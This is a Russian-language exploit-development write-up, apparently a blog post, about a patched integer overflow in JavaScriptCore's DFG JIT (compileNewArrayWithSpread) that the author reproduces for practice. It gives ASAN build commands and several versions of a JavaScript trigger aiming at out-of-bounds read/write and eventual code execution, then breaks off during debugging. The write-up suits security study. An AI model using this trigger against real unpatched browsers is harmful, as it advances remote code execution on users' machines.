
Эксплуатация исправленной уязвимости в JavaScriptCore
Это эксплойт для уязвимости WebKit, первоначально обнаруженной Fluoroacetate во время соревнования pwn2own в Ванкувере. Хотя я не обнаруживал эту ошибку, я написал этот эксплойт, чтобы развить свои навыки разработки эксплойтов. Оригинальное описание этого эксплойта находится здесь на сайте Zero Day Initiative. Хотя это описание очень хорошее и помогло мне понять уязвимость, оно написано с точки зрения человека, проверяющего уязвимость. Я обнаружил, что при попытке создать этот эксплойт с нуля отсутствуют некоторые ключевые детали, и я надеюсь восполнить некоторые пробелы, которые упустило описание ZDI, а также получить практические навыки по разработке сложного эксплойта с нуля.
Эти этапы служат планом для достижения произвольного выполнения кода в JavaScriptCore (JSC), движке JavaScript для WebKit
Уязвимость, которая будет эксплуатироваться, — это целочисленное переполнение, возникающее в коде, генерируемом JIT-компилятором DFG для WebKit. Это происходит конкретно в функции compileNewArrayWithSpread. Эта функция вызывается, когда код, использующий синтаксис распространения JavaScript для создания нового массива, JIT-компилируется DFG.

Внутри JIT-компилированного кода сначала вычисляется размер массива. Это делается путём сложения длины каждого аргумента, переданного конструктору массива. При вычислении размера для каждого сложения проверяется наличие переполнения. После этого вызывается функция compileAllocateNewArray с длиной, вычисленной в этой функции.

Затем функция compileAllocateNewArray передаёт вычисленную ранее длину в emitAllocateButterfly.

Функция emitAllocateButterfly затем сдвигает размер влево на 3 бита, что эквивалентно умножению на 8. Однако проверки на переполнение нет, и таким образом число, например, 0x20000001 может переполниться до 0x8.
Эта программа на C иллюстрирует данную уязвимость:


Мы можем использовать эту уязвимость, чтобы обмануть движок JavaScript, заставив его думать, что мы выделили массив размером 0x20000001, хотя на самом деле выделили достаточно места только для 1 JSValue (8 байт). Это приведёт к получению примитива вне границ (OOB) для чтения и записи (R/W), который затем можно использовать для достижения произвольного чтения/записи и в конечном итоге удалённого выполнения кода (RCE).
Определить уязвимость
Чтобы подтвердить наличие чтения за пределами границ, мы попытаемся вызвать эту уязвимость в сборке JSC с санитайзером адресов (ASAN).
Для этого из каталога WebKit можно выполнить следующие команды:```bash Tools/Scripts/set-webkit-configuration --asan Tools/Scripts/build-jsc --jsc--only --debug
Это создаст отладочную сборку JSC с включенным ASAN, что позволит нам проверить, удалось ли успешно вызвать уязвимость. Вот первая версия exploit.js```javascript
function jitMe(array){
return [...array]
}
let dummy = [1.1]
for(let i = 0; i < 200; i++){
jitMe(dummy);
}
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
При запуске я получаю следующую ошибку:
Program terminated with signal SIGKILL, Killed. The program no longer exists.
Моё предположение было, что при попытке выделить такой большой массив потребляется слишком много памяти. Чтобы подтвердить это, я добавил точку останова в JIT-код, вызвав m_jit.breakpoint() внутри compileNewArrayWithSpread, что добавляет инструкцию int3 в JIT-код.
После добавления точки останова я обнаружил, что она не срабатывает, и тогда решил протестировать длину 0x20001. Затем я понял, что код даже не компилируется, поэтому я добавил больше итераций для активации компилятора DFG.```javascript function jitMe(array){ for(let i = 0; i < 0x4000; i++){ let x = 1 + 1 } return [...array] }
let dummy = [1.1] for(let i = 0; i < 60; i++){ print(i) jitMe(dummy); }
let a = []
let len = 0x20000001
for(let i = 0; i < len; i++){ a[i] = 1.1 }
jitMe(a)
Тестирование программы как есть всё равно приводит к SIGKILL, однако при тестировании с меньшей длиной точка останова срабатывает. На данный момент мне всё ещё кажется, что у JSC заканчивается память при попытке обработать этот огромный массив.
Чтобы справиться с этим, я решил выделить меньший массив `a`, а затем использовать синтаксис spread, чтобы применить его несколько раз при создании повреждённого массива, что привело к следующему exploit.js```
function jitMe(array){
for(let i = 0; i < 0x4000; i++){
let x = 1 + 1
}
return [...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array, ...array]
}
let dummy = [1.1]
for(let i = 0; i < 100; i++){
print(i)
jitMe(dummy);
}
let a = []
let len = 0x20000010 / 0x10
for(let i = 0; i < len; i++){
a[i] = 1.1
}
jitMe(a)
С помощью этого кода мы смогли достичь точки останова без SIGKILL! Как это часто бывает, исправление одной проблемы выявляет другую, и вместо этого мы получили SIGABORT... Используя команду gdb bt, мы видим, что была вызвана operationNewArrayWithSize, которая вызвала create.
Кажется странным, что наш JIT-код вызывает operationNewArrayWithSize, и, вероятно, JIT-коду пришлось по какой-то причине перейти на медленный путь к движку JavaScript.

В compileAllocateNewArrayWithSize мы видим, что действительно есть выход в operationNewArrayWithSize. Затем нужно выяснить, почему именно мы выходим на медленный случай.
В compileNewArrayWithSpread мы видим, что shouldConvertLargeSizeToArrayStorage установлен в false, и этот медленный путь не будет включён в скомпилированный код.
Следовательно, логично, что медленный путь срабатывает где-то внутри emitAllocateJSObject

emitAllocateJSObject вызывает emitAllocateJSCell, который, в свою очередь, вызывает emitAllocate.